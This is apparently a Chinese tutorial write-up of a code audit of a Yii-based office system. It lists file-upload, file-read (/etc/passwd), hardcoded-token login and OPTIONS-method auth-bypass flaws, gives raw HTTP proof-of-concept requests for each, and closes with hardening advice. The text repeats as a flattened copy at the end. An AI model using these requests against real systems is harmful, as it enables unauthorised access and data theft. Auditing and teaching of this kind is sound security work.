记一次项目中遇到的YII框架审计
字数 1772 2025-08-23 18:31:18

YII框架安全审计实战教学文档

一、YII框架基础认知

1.1 框架目录结构

  • 系统根目录/system(模块化管理)
  • 入口文件/web/index.php(定义应用入口和登录地址)
  • API入口/web/oa-api.php(用于API模块)

1.2 路由机制解析

YII框架采用MVC架构,路由格式为:

/模块名/控制器/操作

示例:

  • /oa/main/loginsystem/modules/oa/controllers/MainController.php中的actionLogin()
  • 控制器文件命名规则:[模块名]/controllers/[控制器名]Controller.php
  • 操作方法命名规则:action[操作名]()(驼峰式)

二、漏洞审计实战

2.1 任意文件上传漏洞

漏洞点1:模块上传功能

审计步骤

  1. 全局搜索move_uploaded_file函数
  2. 定位到system/modules/main/extend/SaveUpload.phpsystem/modules/party/extend/Upload.php
  3. 发现扩展名限制被注释,导致无过滤

漏洞利用条件

  • 存在调用SaveUpload::saveFile()的控制器
  • 未授权或权限绕过

未授权上传路径

  • /contacts/default/upload
  • /salary/record/upload
  • /knowledge/default/upload

利用PoC

POST /index.php/salary/record/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=WebKitFormBoundary

--WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php phpinfo();?>
--WebKitFormBoundary--

漏洞点2:静态文件上传

文件路径/web/static/lib/weboffice/js/OfficeServer.php

漏洞原理

  • 通过FormData参数控制操作类型
  • OPTION参数值:
    • SAVEFILE:文件上传
    • LOADFILE:文件下载

利用PoC

# 文件上传
POST /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"SAVEFILE","FILEPATH":"/shell.php"} HTTP/1.1
Content-Type: multipart/form-data; boundary=WebKitFormBoundary

--WebKitFormBoundary
Content-Disposition: form-data; name="FileData"; filename="shell.php"
Content-Type: image/png

<?php phpinfo();?>
--WebKitFormBoundary--

# 文件下载
GET /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"LOADFILE","FILEPATH":"/etc/passwd"} HTTP/1.1

2.2 任意用户登录漏洞

漏洞文件system/modules/oa/controllers/AuthController.php

漏洞原理

  • 硬编码认证逻辑
  • 认证参数:
    • user:base64编码的用户名
    • tokenmd5(user + key)(key硬编码)

利用步骤

  1. 确认存在用户(如zhangsan)
  2. 计算:user=base64("zhangsan") → "emhhbmdzYW4="
  3. 计算:token=md5("zhangsan" + "hardcode_key") → "b336aa3ea64e703583bb7cbe6d924269"

利用PoC

GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1

2.3 权限绕过漏洞

漏洞文件api/modules/v1/controllers/UserController.php

漏洞原理

  1. notAuthAction数组定义免鉴权方法(需使用下划线命名)
  2. 框架behaviors()方法中存在逻辑缺陷:
    • OPTIONS请求方法可绕过鉴权
    • 或方法名在notAuthAction数组中

利用步骤

  1. 正常访问需鉴权接口返回401:
    GET /oa-api.php/v1/user/get-info?id=1 HTTP/1.1
    
  2. 使用OPTIONS方法绕过:
    OPTIONS /oa-api.php/v1/user/get-info?id=1 HTTP/1.1
    

三、审计技巧总结

3.1 关键搜索词

  • move_uploaded_file(文件上传)
  • notAuthAction(权限控制)
  • behaviors()(权限验证)
  • saveAs(文件操作)
  • @符号(特殊路由)

3.2 审计方法论

  1. 入口定位:从index.php和开发文档入手
  2. 路由分析:理解模块/控制器/操作的映射关系
  3. 敏感函数追踪:全局搜索危险函数
  4. 权限验证检查
    • 查找notAuthAction数组
    • 检查behaviors()方法逻辑
  5. 黑盒结合:通过报错信息反推代码逻辑

3.3 开发安全建议

  1. 始终启用文件扩展名验证
  2. 避免硬编码认证凭证
  3. 使用框架官方推荐的路由验证方式
  4. 静态资源目录应禁用PHP执行
  5. OPTIONS等HTTP方法做严格限制

四、参考资源

  1. Yii路由分析一
  2. Yii路由分析二
  3. Yii官方文档:权限控制章节

通过本案例可看出,框架本身的安全机制需要正确配置才能生效,开发人员的安全意识与代码审计人员的细致程度同样重要。建议定期进行安全审计,特别是对自定义模块和第三方组件的检查。

YII框架安全审计实战教学文档 一、YII框架基础认知 1.1 框架目录结构 系统根目录 : /system (模块化管理) 入口文件 : /web/index.php (定义应用入口和登录地址) API入口 : /web/oa-api.php (用于API模块) 1.2 路由机制解析 YII框架采用MVC架构,路由格式为: 示例: /oa/main/login → system/modules/oa/controllers/MainController.php 中的 actionLogin() 控制器文件命名规则: [模块名]/controllers/[控制器名]Controller.php 操作方法命名规则: action[操作名]() (驼峰式) 二、漏洞审计实战 2.1 任意文件上传漏洞 漏洞点1:模块上传功能 审计步骤 : 全局搜索 move_uploaded_file 函数 定位到 system/modules/main/extend/SaveUpload.php 和 system/modules/party/extend/Upload.php 发现扩展名限制被注释,导致无过滤 漏洞利用条件 : 存在调用 SaveUpload::saveFile() 的控制器 未授权或权限绕过 未授权上传路径 : /contacts/default/upload /salary/record/upload /knowledge/default/upload 利用PoC : 漏洞点2:静态文件上传 文件路径 : /web/static/lib/weboffice/js/OfficeServer.php 漏洞原理 : 通过 FormData 参数控制操作类型 OPTION 参数值: SAVEFILE :文件上传 LOADFILE :文件下载 利用PoC : 2.2 任意用户登录漏洞 漏洞文件 : system/modules/oa/controllers/AuthController.php 漏洞原理 : 硬编码认证逻辑 认证参数: user :base64编码的用户名 token : md5(user + key) (key硬编码) 利用步骤 : 确认存在用户(如zhangsan) 计算: user=base64("zhangsan") → "emhhbmdzYW4=" 计算: token=md5("zhangsan" + "hardcode_key") → "b336aa3ea64e703583bb7cbe6d924269" 利用PoC : 2.3 权限绕过漏洞 漏洞文件 : api/modules/v1/controllers/UserController.php 漏洞原理 : notAuthAction 数组定义免鉴权方法(需使用下划线命名) 框架 behaviors() 方法中存在逻辑缺陷: OPTIONS 请求方法可绕过鉴权 或方法名在 notAuthAction 数组中 利用步骤 : 正常访问需鉴权接口返回401: 使用OPTIONS方法绕过: 三、审计技巧总结 3.1 关键搜索词 move_uploaded_file (文件上传) notAuthAction (权限控制) behaviors() (权限验证) saveAs (文件操作) @ 符号(特殊路由) 3.2 审计方法论 入口定位 :从 index.php 和开发文档入手 路由分析 :理解 模块/控制器/操作 的映射关系 敏感函数追踪 :全局搜索危险函数 权限验证检查 : 查找 notAuthAction 数组 检查 behaviors() 方法逻辑 黑盒结合 :通过报错信息反推代码逻辑 3.3 开发安全建议 始终启用文件扩展名验证 避免硬编码认证凭证 使用框架官方推荐的路由验证方式 静态资源目录应禁用PHP执行 对 OPTIONS 等HTTP方法做严格限制 四、参考资源 Yii路由分析一 Yii路由分析二 Yii官方文档:权限控制章节 通过本案例可看出,框架本身的安全机制需要正确配置才能生效,开发人员的安全意识与代码审计人员的细致程度同样重要。建议定期进行安全审计,特别是对自定义模块和第三方组件的检查。